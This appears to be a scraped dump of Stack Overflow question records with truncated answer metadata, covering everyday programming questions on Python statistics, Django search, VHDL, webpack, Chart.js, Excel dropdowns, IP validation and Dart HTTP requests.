"author": "Littlefoot",
"author_id": 9097906,
"author_profile": "https://Stackoverflow.com/users/9097906",
"pm_score": 0,
"selected": false,
"text": "SQL> create or replace type my_type as object\n 2 (attrib1 varchar2(30),\n 3 attrib2 varchar2(30),\n 4 at... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184786",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15262691/"
] |
74,184,794 | <p>Given that I know the, Max, Min and Average of sample (I don't have access to the sample itself). I would like to write a generic function to generate a sample with the same characteristics. <a href="https://stats.stackexchange.com/questions/236449/calculating-distribution-from-min-mean-and-max/236509#236509?newreg=938e966390d2474ba091e0e11938cdaf">From this answer</a> I gather that this is no simple task since many distribuitions can be found with the same characteristics.</p>
<pre class="lang-py prettyprint-override"><code>max, min, average = [411, 1, 20.98]
</code></pre>
<p>I'm trying to use <a href="https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.norm.html" rel="nofollow noreferrer">scipy.norm</a> but unsuccessfully. I can't seem to understand if I can pass the arguments mentioned above or if they are just returned values from an already generated function. I'm pretty new to python stats so this might be something quite easy to solve.</p>
| [
{
"answer_id": 74187098,
"author": "u1234x1234",
"author_id": 19918310,
"author_profile": "https://Stackoverflow.com/users/19918310",
"pm_score": 2,
"selected": false,
"text": "candidates = []\nfor distribution in distributions:\n best_parameters, score = find_best_parameters(distribu... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184794",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10459347/"
] |
74,184,806 | <p>I have a project with Django, Django REST Framework and PostgreSQL.
And my goal to make a search with certain conditions:</p>
<ul>
<li>logical operators (AND, OR, NOT)</li>
<li>case insensitive</li>
<li>operator like <code>*</code> To search by prefixes. som* -> search for some, somali and so on</li>
</ul>
<p>My first attempt was to use Postgres full search with this type
<code>search_type='websearch'</code></p>
<p>It's all good but don't have operator <code>*</code>
So I switched to raw type search and my class for search looks like it now</p>
<pre><code>class DataSearch(generics.ListAPIView):
serializer_class = DataSerializer
def get_queryset(self):
q = self.request.query_params.get('query')
if q:
vector = SearchVector('research', 'data', 'research__name')
query = SearchQuery(q, search_type='raw')
queryset = Data.objects.annotate(search=vector).filter(search=query)
else:
queryset = Data.objects.none()
return queryset
</code></pre>
<p>Logical operator works, search by prefixes works with <code>:*</code> but I don't know how to make it case insensitive.</p>
<p>Is it possible to make this type of search case insensitive? Or maybe there are another option for it?</p>
| [
{
"answer_id": 74187098,
"author": "u1234x1234",
"author_id": 19918310,
"author_profile": "https://Stackoverflow.com/users/19918310",
"pm_score": 2,
"selected": false,
"text": "candidates = []\nfor distribution in distributions:\n best_parameters, score = find_best_parameters(distribu... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184806",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3973058/"
] |
74,184,852 | <p>I want to draw the outer lines of a square. I am able to create a filled in square, using the shown code, however I am not sure how to make it empty on the inside.</p>
<p>This is what I have:</p>
<pre><code>def square(size):
for x in range(0, size):
print("* " * size)
square(5)
</code></pre>
<p>What should I change?</p>
| [
{
"answer_id": 74185040,
"author": "mortom123",
"author_id": 10759659,
"author_profile": "https://Stackoverflow.com/users/10759659",
"pm_score": 0,
"selected": false,
"text": "\"*\""
},
{
"answer_id": 74185055,
"author": "Rabinzel",
"author_id": 15521392,
"author_prof... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184852",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323843/"
] |
74,184,878 | <p>Trying to use <a href="https://timepicker.co/" rel="nofollow noreferrer">https://timepicker.co/</a> using npm and webpack.</p>
<p>I installed jQuery with the npm command <code>npm i jquery</code> and then imported it in my main js file with:</p>
<pre><code>import $ from 'jquery';
</code></pre>
<p>This works well, and I can use jQuery.</p>
<p>Next following the instructions I installed timepicker with the npm command <code>npm i jquery-timepicker</code></p>
<p>This added timepicker to the package.json file:</p>
<pre><code> "dependencies": {
"googleapis": "^108.0.0",
"jquery": "^3.6.1",
"jquery-timepicker": "^1.3.3"
},
</code></pre>
<p>webpack build this just fine. However, when the page loads, and I run the command to initiate my input field,</p>
<pre><code>$('input.timepicker').timepicker({});
</code></pre>
<p>I get this error in the console:</p>
<pre><code>Uncaught TypeError: jquery__WEBPACK_IMPORTED_MODULE_6___default(...)(...).timepicker is not a function
</code></pre>
<p>Reading the documentation, is says</p>
<blockquote>
<p>To use jQuery Timepicker you'll need to include two files:
jquery.timepicker.min.js and jquery.timepicker.min.css</p>
</blockquote>
<p>I am a rookie using npm, I would assume I would import the js file using something like:</p>
<pre><code>import timepicker from 'jquery-timepicker';
</code></pre>
<p>But that throws a webpack error.</p>
<p>I feel like I am missing something simple. How can I include those 2 required files using webpack and npm?</p>
<p><strong>Update 1</strong>: Tried importing the css and js in my main index.js file</p>
<pre><code>import 'jquery-timepicker/jquery.timepicker.css';
import 'jquery-timepicker/jquery.timepicker';
</code></pre>
<p>Still get the error: <code>Uncaught TypeError: jquery__WEBPACK_IMPORTED_MODULE_6___default(...)(...).timepicker is not a function</code></p>
| [
{
"answer_id": 74185083,
"author": "acdcjunior",
"author_id": 1850609,
"author_profile": "https://Stackoverflow.com/users/1850609",
"pm_score": 2,
"selected": true,
"text": "jquery-timepicker"
},
{
"answer_id": 74185848,
"author": "Joshua Dance",
"author_id": 1296746,
... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184878",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1296746/"
] |
74,184,933 | <p>It has to be output like this 01234</p>
<pre><code>for(int i = 0;i < 5; i++, System.out.print(i));
</code></pre>
<p>or</p>
<pre><code>for(int i = 0;i < 5; System.out.print(i))
i++;
</code></pre>
<p>Output: 12345</p>
| [
{
"answer_id": 74184957,
"author": "knittl",
"author_id": 112968,
"author_profile": "https://Stackoverflow.com/users/112968",
"pm_score": 3,
"selected": true,
"text": "for(int i = 0;i < 5; System.out.print(i))\n i++;\n"
},
{
"answer_id": 74185609,
"author": "Krzysztof Wawr... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184933",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20070574/"
] |
74,184,947 | <p>I'm new to VHDL and I don't understand what is giving me the error:</p>
<pre><code>Error (10476): VHDL error at PEnc83.vhd(42): type of identifier "sy" does not agree with its usage as "std_ulogic" type
</code></pre>
<p>This error also applies for "sz".</p>
<p>Here is my code:</p>
<pre class="lang-vhdl prettyprint-override"><code>library ieee;
use ieee.std_logic_1164.all;
entity PEnc83 is
port(I: in STD_LOGIC_VECTOR(7 downto 0);
O: out STD_LOGIC_VECTOR(2 downto 0);
V: out STD_LOGIC_VECTOR);
end PEnc83;
architecture arq_penc83 of PEnc83 is
component PEnc421
port(
a: in STD_LOGIC_VECTOR(3 downto 0);
b: out STD_LOGIC_VECTOR(1 downto 0);
v: out std_logic_vector);
end component;
component MUX2
port(A, B: in STD_LOGIC_VECTOR(1 downto 0);
sel: in std_logic;
O: out STD_LOGIC_VECTOR(1 downto 0));
end component;
SIGNAL sa, sx, sb : std_logic_vector(1 downto 0);
SIGNAL sy, sz : std_logic_vector;
Begin
UPEnc1: PEnc421 port map (
a => I,
b => sa,
v => sy);
UPEnc2: PEnc421 port map (
a => I,
b => sx,
v => sz);
UPEnc3: PEnc421 port map (
a(0) => sy,
a(1) => sz,
a(2) => '0',
a(3) => '0',
b => sb,
v => V);
UMUX2: MUX2 port map(
A => sa,
B => sx,
sel => sb(2),
O => O);
O(2) <= sb(2);
end arq_penc83;
</code></pre>
<p>Since <code>sy</code> and <code>sz</code> are signals it should work like the other ones. But for some reason it just isn't, maybe is it because they are only 1 vector, but they are supposed to be only one vector that connects to PEnc3.</p>
| [
{
"answer_id": 74184957,
"author": "knittl",
"author_id": 112968,
"author_profile": "https://Stackoverflow.com/users/112968",
"pm_score": 3,
"selected": true,
"text": "for(int i = 0;i < 5; System.out.print(i))\n i++;\n"
},
{
"answer_id": 74185609,
"author": "Krzysztof Wawr... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184947",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20275096/"
] |
74,184,966 | <p>I got an HTML Table with a Button on the left side.</p>
<p><a href="https://i.stack.imgur.com/BKjtH.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BKjtH.png" alt="enter image description here" /></a></p>
<p>What I would like to achieve is that by using the Button the Table splits below that row and another table with different columns and rows appears with the full width of the original table.. basically the new table pushes the rest of the original table down the page.</p>
<p>What would be a solid approach to this without using any big libraries/frameworks?</p>
<pre><code><table>
<tr>
<th></th>
<th>Lieferant</th>
<th>urspüngliches Lieferdatum</th>
<th>Liefer-ID</th>
</tr>
<tr class="new_tr verspaetet">
<td><input type="image" src="./img/down-arrow.png" /></td>
<td>Müller GmbH</td>
<td>20.10.2022</td>
<td>12384123</td>
</tr>
<tr class="new_tr">
<td><input type="image" src="./img/down-arrow.png" /></td>
<td>Wasser GmbH</td>
<td>heute</td>
<td>12385533</td>
</tr>
<tr class="new_tr">
<td><input type="image" src="./img/down-arrow.png" /></td>
<td>Grill GmbH</td>
<td>heute</td>
<td>94728544</td>
</tr>
<tr class="new_tr">
<td><input type="image" src="./img/down-arrow.png" /></td>
<td>Bier GmbH</td>
<td>heute</td>
<td>82375440</td>
</tr>
<tr class="new_tr">
<td><input type="image" src="./img/down-arrow.png" /></td>
<td>Pflaumen GmbH</td>
<td>heute</td>
<td>52469874</td>
</tr>
<tr class="new_tr">
<td><input type="image" src="./img/down-arrow.png" /></td>
<td>Bananen GmbH</td>
<td>heute</td>
<td>16543897</td>
</tr>
</tr>
</code></pre>
```
| [
{
"answer_id": 74185035,
"author": "rosbif",
"author_id": 13398960,
"author_profile": "https://Stackoverflow.com/users/13398960",
"pm_score": -1,
"selected": false,
"text": "display: grid"
},
{
"answer_id": 74185511,
"author": "trincot",
"author_id": 5459839,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74184966",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11730571/"
] |
74,185,012 | <p>Excel coding gurus, i'd like someone to land me a hand in a following problem:<br /></p>
<p><strong>What I have</strong>:<br />
I have an Excel 2019. Not the 365 edition.
And I have an Excel table with 2 columns. Column <strong>I</strong> contains list of people. And each person in the <strong>I</strong> column has the country of his/her origin denoted in the correspondent cell of <strong>H</strong> column.<br /></p>
<p>For a better view check this picture, plz.</p>
<p><a href="https://i.stack.imgur.com/VjXi4.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VjXi4.jpg" alt="enter image description here" /></a></p>
<p>And I have two <em>drop-down enabled</em> cells (<strong>K4</strong> and <strong>L4</strong>). <br />
<strong>K4</strong> holds the list of all countries, presented in <strong>H</strong> col. <br />
And <strong>L4</strong> is supposed to have a list of people, avaliable in the col <strong>I</strong></p>
<p><strong>Now, the question is:</strong><br />
How can I code those <strong>K4</strong> and <strong>L4</strong> cells, so that when in K4 cell I select a country, then in the drop down list of L4 cell I'd get the list of only those people from the <strong>I</strong> column that have their country of origin equal to the one in K4?</p>
<p>I feel like it is possible to be done with those array-returning functions but I just can't wrap my head around it all.</p>
| [
{
"answer_id": 74185035,
"author": "rosbif",
"author_id": 13398960,
"author_profile": "https://Stackoverflow.com/users/13398960",
"pm_score": -1,
"selected": false,
"text": "display: grid"
},
{
"answer_id": 74185511,
"author": "trincot",
"author_id": 5459839,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185012",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/11764603/"
] |
74,185,013 | <p>nice sirs. I wonder, is there any chance to change host name of Live Server to something custom? Like, not <code>http://127.0.0.1:5500/</code> this but this <code>http://denemedomain:5500</code>. I know may be it is a silly question but, i just want to change the host name. I am using vanilla jaavscript and i am begginer, so i just wondered if it is possible.</p>
| [
{
"answer_id": 74185035,
"author": "rosbif",
"author_id": 13398960,
"author_profile": "https://Stackoverflow.com/users/13398960",
"pm_score": -1,
"selected": false,
"text": "display: grid"
},
{
"answer_id": 74185511,
"author": "trincot",
"author_id": 5459839,
"author_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185013",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20127250/"
] |
74,185,017 | <p>In the string below (which is a column in a df) I want to extract strings in which TRUE is present at least two times. I guess I could do some strsplit and then detect duplicates, but is there a method to do it directly?</p>
<pre><code>head(df$Filter)
[1] "FALSE_TRUE_FALSE_FALSE" "FALSE_TRUE_FALSE_FALSE" "FALSE_TRUE_TRUE_FALSE" "FALSE_TRUE_FALSE_FALSE" "FALSE_TRUE_FALSE_FALSE"
[6] "FALSE_TRUE_FALSE_FALSE"
</code></pre>
<p>out in this example:</p>
<pre><code>FALSE_TRUE_TRUE_FALSE
</code></pre>
| [
{
"answer_id": 74185029,
"author": "akrun",
"author_id": 3732271,
"author_profile": "https://Stackoverflow.com/users/3732271",
"pm_score": 3,
"selected": true,
"text": "str_count"
},
{
"answer_id": 74185038,
"author": "r2evans - GO NAVY BEAT ARMY",
"author_id": 3358272,
... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185017",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2300940/"
] |
74,185,036 | <p>This is an IP address problem where I need to implement a function is_valid_IP that takes an arbitrary string and determines if it represents a valid IPv4 or IPv6 address.</p>
<pre><code>IPv4_STRING = "127.0.0.1"
IPv4_INVALID_STRING = "300.0.0.1"
IPv6_STRING = "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
IPv6_INVALID_STRING = "2001:0db8:85a3:0000:0000:8a2e:0370:7334:7334"
INVALID_IP_STRING = "Some arbitrary string"
def is_valid_IPv4_octet(octet: str):
for element in ip_list:
if int(element) < 0 or int(element) > 255 :
return False
return True
def is_valid_IPv4(ip: str):
if ip.count('.') != 3:
return False
quit()
ip_list = list(map(str, ip.split('.')))
return is_valid_IPv4_octet(ip_list)
def is_valid_IPv6_hextet(hextet: str):
for element in ip_list:
if int(element,16) < 0 or int(element,16)>65535 :
return False
return True
def is_valid_IPv6(ip: str):
if ip.count(':')!=7:
return False
quit()
ip_list=list(map(str,ip.split(':')))
return is_valid_IPv6_hextet(ip_list)
def is_valid_IP(ip: str):
if( is_valid_IPv4() or is_valid_IPv6() == True):
print("Valid IP Address")
else:
print("Invalid IP Address")
print(
f"{IPv4_STRING} is a valid IP Address:",
is_valid_IP(IPv4_STRING))
print(
f"{IPv4_INVALID_STRING} is a valid IP Address:",
is_valid_IP(IPv4_INVALID_STRING),
)
print(
f"{IPv6_STRING} is a valid IP Address:",
is_valid_IP(IPv6_STRING))
print(
f"{IPv6_INVALID_STRING} is a valid IP Address:",
is_valid_IP(IPv6_INVALID_STRING),
)
print(
f"{INVALID_IP_STRING} is a valid IP Address:",
is_valid_IP(INVALID_IP_STRING),
)
</code></pre>
<p>The IDE gives me</p>
<pre><code>Traceback (most recent call last):
File "C:\Users\jerry\PycharmProjects\pythonProject1\main.py", line 43, in <module>
is_valid_IP(ip)
File "C:\Users\jerry\PycharmProjects\pythonProject1\main.py", line 38, in is_valid_IP
if( is_valid_IPv4() or is_valid_IPv6() == True):
TypeError: is_valid_IPv4() missing 1 required positional argument: 'ip'
</code></pre>
<p>Can someone tell me why? I've been surfing a bit, the general opinion is i need to put something in the bracket of the function. But in this case there is somehting inside...So i dont really know where went wrong.</p>
| [
{
"answer_id": 74185069,
"author": "Isaac Rene",
"author_id": 12526984,
"author_profile": "https://Stackoverflow.com/users/12526984",
"pm_score": 2,
"selected": false,
"text": "def is_valid_IP(ip: str):\n#added ip\n if( is_valid_IPv4(ip) or is_valid_IPv6(ip) == True):\n print(\"Val... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185036",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9305280/"
] |
74,185,051 | <p>I have a script like this</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>let x;
let y;
let z;
let obliczone;
document.getElementById("srednia").onclick = function() {
x = document.getElementById("grade1").value;
y = document.getElementById("grade2").value;
z = document.getElementById("grade3").value;
x = Number(x);
y = Number(y);
z = Number(z);
obliczone = Number(obliczone);
obliczone = (x + y + z) / 3;
console.log(obliczone);
document.getElementById("wynik").innerHTML = "Twoja średnia to " + obliczone;
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="main.css">
<title>Document</title>
</head>
<body>
<label>Ocena 1</label> <input type="text" id="grade1"><br>
<label>Ocena 2</label> <input type="text" id="grade2"><br>
<label>Ocena 3</label> <input type="text" id="grade3"><br>
<label>Oblicz: </label> <button id="srednia">Średnia</button>
<p id="wynik"></p>
<script src="index.js"></script>
</body>
</html></code></pre>
</div>
</div>
</p>
<p>and if user type in a number with "+" like 2+ I want i to give me 2.5 value and if the input is higher than 6 to break the function. It meant to calculate arithmetic mean of 3 digits and as I wrote earlier it should change ex. 1+ to 1.5</p>
| [
{
"answer_id": 74185131,
"author": "Franco Agustín Torres",
"author_id": 20318366,
"author_profile": "https://Stackoverflow.com/users/20318366",
"pm_score": 3,
"selected": true,
"text": "'+'"
},
{
"answer_id": 74185435,
"author": "oalva-rez",
"author_id": 17400744,
"a... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185051",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323993/"
] |
74,185,070 | <p>I need to do exactly the same as in the picture below:</p>
<p><a href="https://i.stack.imgur.com/Q0ZEt.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Q0ZEt.png" alt="enter image description here" /></a></p>
<p>I have two <code>TextView</code>: Title and Description. The description is always short, so you can ignore it. But with the title it is more difficult. It can be both short and long. Moreover, with an increase in the number of characters, it should go up without shifting the description. How can this be implemented?</p>
| [
{
"answer_id": 74185131,
"author": "Franco Agustín Torres",
"author_id": 20318366,
"author_profile": "https://Stackoverflow.com/users/20318366",
"pm_score": 3,
"selected": true,
"text": "'+'"
},
{
"answer_id": 74185435,
"author": "oalva-rez",
"author_id": 17400744,
"a... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185070",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15317497/"
] |
74,185,097 | <p>I'm trying to reduce the number of requests' connections of js scripts and one option is usage of esi tag.</p>
<p>Like from:
<code><script src="https://whatever.min.js"></script> </code></p>
<p>To: <code><script><esi:include src="https://whatever.min.js"/></script></code>
But now cdn is giving 503 error for it and trying to treat script like page block. Doesn't work for fastly and varnish</p>
| [
{
"answer_id": 74185131,
"author": "Franco Agustín Torres",
"author_id": 20318366,
"author_profile": "https://Stackoverflow.com/users/20318366",
"pm_score": 3,
"selected": true,
"text": "'+'"
},
{
"answer_id": 74185435,
"author": "oalva-rez",
"author_id": 17400744,
"a... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185097",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20323985/"
] |
74,185,107 | <p>I am very new to websockets and trying to create an omegle as an example. A centralized chat server to which every client can connect through a websocket and the the server matches people based on interests. The people can chat through the websocket connection thereafter.</p>
<p>I am just curious about one thing: Once my site goes live and different clients keep connecting, essentially in the background they are connecting to my central server through the websocket. Can't any client run javascript on its chrome console and inject a malicious script or get access to the clients connected to the server already since the connection has been established and its a stateful connection? I am not sure if there is a way to do that. And if there is, what security mechanisms i need to take care of?</p>
| [
{
"answer_id": 74185131,
"author": "Franco Agustín Torres",
"author_id": 20318366,
"author_profile": "https://Stackoverflow.com/users/20318366",
"pm_score": 3,
"selected": true,
"text": "'+'"
},
{
"answer_id": 74185435,
"author": "oalva-rez",
"author_id": 17400744,
"a... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185107",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/975234/"
] |
74,185,137 | <p>I have been trying to set the .flex-container to cover entire page below the horizontal rule, but when I resize the window, in around 1200px width, the flex box container is not going all the way down. I am fine with the buttons coming as a column when viewing on a small screen, as already happening.</p>
<p>what I want to happen</p>
<p><a href="https://i.stack.imgur.com/h6cc3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/h6cc3.png" alt="" /></a></p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>body {
background-color: #06283D;
margin: 0;
padding: 0;
box-sizing: border-box;
height: 100%;
}
.heading {
color: #1894E7;
display: flex;
justify-content: center;
}
h1 {
font-family: 'Roboto', sans-serif;
font-weight: 400;
font-size: 3.6em;
margin: 5%;
}
.flex-container {
display: flex;
flex-wrap: wrap;
background-color: #256D85;
justify-content: space-around;
font-family: 'Montserrat', sans-serif;
color: #06283D;
position: relative;
left: 0;
right: 0;
}
.flex-container>button {
background-color: #DFF6FF;
width: 350px;
margin: 6%;
text-align: center;
line-height: 75px;
font-size: 30px;
border-radius: 10px;
cursor: pointer;
border: none;
box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.5);
transition-duration:0.3s;
}
.flex-container>button:hover {
transform: translateY(-5px);
transition-duration:0.3s;
box-shadow: 0 10px 20px 2px rgba(0, 0, 0, 0.25);
}
@media screen and (max-width: 1086px){
.flex-container>button{
margin: 7%;
}
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Papers</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500;600&family=Roboto:wght@300;400;500&display=swap" rel="stylesheet">
<link rel="stylesheet" href="public/css/styles.css">
</head>
<body>
<div class="heading">
<h1>Loren ipsum</h1>
</div>
<hr style="margin:0;position: relative;left:-15px;width:100%;height:0.5px;border-width:0;color:gray;background-color:black;opacity:0.5">
<div class="flex-container">
<button>1Year</button>
<button>2Year</button>
<button>3Year</button>
<button>4Year</button>
</div>
</body>
</html></code></pre>
</div>
</div>
</p>
| [
{
"answer_id": 74185131,
"author": "Franco Agustín Torres",
"author_id": 20318366,
"author_profile": "https://Stackoverflow.com/users/20318366",
"pm_score": 3,
"selected": true,
"text": "'+'"
},
{
"answer_id": 74185435,
"author": "oalva-rez",
"author_id": 17400744,
"a... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185137",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/20118150/"
] |
74,185,149 | <p>I am trying to validate text area. Format should be us following:</p>
<pre><code>Text description: ${VARIABLE_NAME} \n
Text description: ${VARIABLE_NAME}
</code></pre>
<p>Rules:</p>
<ol>
<li>Text description can contain a-zA-Z0-9 spaces and "_"</li>
<li>Text description need to be followed ":"</li>
<li>":" can be followed with no or one space</li>
<li>after ": " string need to start with "${"</li>
<li>"VARIABLE_NAME" can contain only A-Z and "_"</li>
<li>"VARIABLE_NAME" and line need to finish with "}"</li>
</ol>
<p>Text can have multiple lines, every line need to follow all 6 rules.</p>
<p>For now i have this regex <code>const regex = new RegExp('[\\w+]:\\$\\{[A-Z]+}$', 'gs');</code>
Just not sure how to handle multiple lines.</p>
| [
{
"answer_id": 74185272,
"author": "Wiktor Stribiżew",
"author_id": 3832970,
"author_profile": "https://Stackoverflow.com/users/3832970",
"pm_score": 2,
"selected": false,
"text": "/^[\\w ]+:[^\\S\\r\\n]?\\${[A-Z_]+}(?:\\r?\\n[\\w ]+:[^\\S\\r\\n]?\\${[A-Z_]+})*$/\n"
},
{
"answer_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185149",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2994290/"
] |
74,185,156 | <p><em>Note: I'm quite new to javascript and ChartJS, so I have done my best to look at similar questions but I'm unsure how to apply the solutions to my issue. I'm really quite confused by the plugins, and it seems whenever I try to literally copy and paste in solutions from other posted questions, it either breaks the graph or just doesn't do anything at all. So, with that in mind, I appreciate any help!</em></p>
<p>I'm trying to format the outer of two overlaid doughnut graphs using ChartJS so that the outer graph looks like a rounded bracket. The intention is to be able to group certain slices of the inner doughnut together, EG: Inner graph shows number of years John has lived in 5 different places, the outer graph is grouping the 2nd, 3rd, and 4th slice to indicate that he lived in these locations while he was a wildland forest firefighter for the US Forest Service.</p>
<p>See below. <strong>Please note, the tick marks on the edges are important. It should look like a rounded bracket -> ] <-</strong></p>
<p><a href="https://i.stack.imgur.com/vKtzG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vKtzG.png" alt="Two doughnut charts made with ChartJS. Left shows current, right shows how I'd like the graph to look. Specifically, hoping to remove one border line from the outer doughnut graph." /></a></p>
<p>Things I have tried:</p>
<ul>
<li>Doing <code>borderWidth: { top: 1, right: 1, bottom: 0, left: 1 }</code> breaks the graph, as I'm not sure there's a "bottom" persay to a doughnut graph</li>
<li>Trying to change borderColor breaks the graph in the same way</li>
<li>I'm not sure how to select just the cutout to do any custom styling, as I'm not well versed on HTML canvases and how they work.</li>
<li>Although I am currently attempting to <em>remove</em> one of the borders, I have also considered solutions like:
<ul>
<li>Adding an additional border to the inner doughnut chart and forcing it to clip over the innermost edge of the outer doughnut</li>
<li>adding a round, white background to the inner doughnut that clips over the innermost edge of the outer doughnut</li>
<li>Changing just the color of the innermost edge of the outer doughnut to transparent or white</li>
<li>Hiding the border entirely, letting the background color of the outer doughnut act like the spine of the rounded bracket I'm trying to create, then adding two new data segments to the outer doughnut at the beginning and end each with a different cutout percentage than the spine. (I hope that makes sense. Essentially the data would look like <code>{1, 98, 1}</code> with the <code>cutout</code> specified on each slice so it would look like <code>cutout: {85, 90, 85}</code>, in theory. This version is untested.)</li>
</ul>
</li>
</ul>
<p>Pardon the comments in the js, those are just there for me to remember what's going on.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var chart1 = document.getElementById('chart1').getContext('2d');
let doughnut1 = new Chart(chart1, {
type: 'doughnut',
data: {
datasets: [{ // OUTER ring
data: [100], //leave at 100
backgroundColor: ['#fff'],
circumference: 300, //determines circumference of outer border X out of 360
weight: 0.15,
radius: '100%',
borderColor: 'black',
borderWidth: 4
}, {
data: [14, 14, 22, 37, 13],
backgroundColor: ['#f5ce42', '#ccc3a3', '#fc95f2', '#cdb2ed', '#423225'],
radius: '95%',
borderColor: 'black',
borderAlign: 'inside'
}]
}
});</code></pre>
<pre class="snippet-code-css lang-css prettyprint-override"><code>.wrap__chart {width: 50vw; margin: 0 auto;}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/3.9.1/chart.min.js"></script>
<div class="wrap__chart">
<canvas id="chart1"></canvas>
</div></code></pre>
</div>
</div>
</p>
<p>Parameters for this graph are:</p>
<ul>
<li>The graph has to be dynamic, cannot include any static images or the like as the data will be filled from a calculator</li>
<li>The graph must be responsive (Ignoring the fact that it largely isn't right now lol)</li>
<li>Can't use JQuery, unfortunately...</li>
</ul>
| [
{
"answer_id": 74185272,
"author": "Wiktor Stribiżew",
"author_id": 3832970,
"author_profile": "https://Stackoverflow.com/users/3832970",
"pm_score": 2,
"selected": false,
"text": "/^[\\w ]+:[^\\S\\r\\n]?\\${[A-Z_]+}(?:\\r?\\n[\\w ]+:[^\\S\\r\\n]?\\${[A-Z_]+})*$/\n"
},
{
"answer_... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185156",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/19881049/"
] |
74,185,163 | <p>I'm trying to write a simple program that counts numbers that are divisible by 3 or 5 in a specific range. However, the program still fails to meet the desired execution time for some inputs.
Here is the code:</p>
<pre><code>#include <cstdio>
using namespace std;
int main(){
unsigned long long int a=0, b=0, count=0;
scanf("%d%d", &a, &b);
unsigned long long int i=a;
while(i<=b){
if(i%3==0){
++count;
}
else if(i%10==0 || i%10==5) ++count;
++i;
}
printf("%d", (unsigned long long int) count);
return 0;
}
</code></pre>
<p>I tried the version below too because I thought it will help with big numbers, but the results are still quite the same.</p>
<pre><code>#include <cstdio>
using namespace std;
int main(){
unsigned long long int a=0, b=0, ile=0;
scanf("%d%d", &a, &b);
for(unsigned long long int i=a; i<=b; ++i){
unsigned long long int liczba = i, suma=0;
while(liczba>0){
suma+=liczba%10;
liczba = liczba/10;
}
if(suma%3==0){
++ile;
}
else if(i%10==0 || i%10==5) ++ile;
}
printf("%d", (unsigned long long int) ile);
return 0;
}
</code></pre>
| [
{
"answer_id": 74185211,
"author": "Jeffrey",
"author_id": 4474230,
"author_profile": "https://Stackoverflow.com/users/4474230",
"pm_score": 3,
"selected": true,
"text": "0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \nX X X X X X X \n15 16 17 18 19 20 21 22 23 ... | 2022/10/24 | [
"https://Stackoverflow.com/questions/74185163",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/16994972/"
] |
74,185,169 | <p>I have 3 servers, server one is always the first server to be "called". this is the code i have:</p>
<pre><code>Future<String> verifyAllProd() async {
var conf = Configuracoes.auth;
var url = Uri.parse(
'http://adsa.er.net:81/APP1/APPProducts');
http.Response response = await http.get(
url,
headers: {
HttpHeaders.authorizationHeader: conf,
},
);
if (response.statusCode != 200) {
response = await http.get(
Uri.parse(
'http://adsa.er.net:82/APP1/APPProducts'),
headers: {
HttpHeaders.authorizationHeader: conf,
},
);
}
if (response.statusCode != 200) {
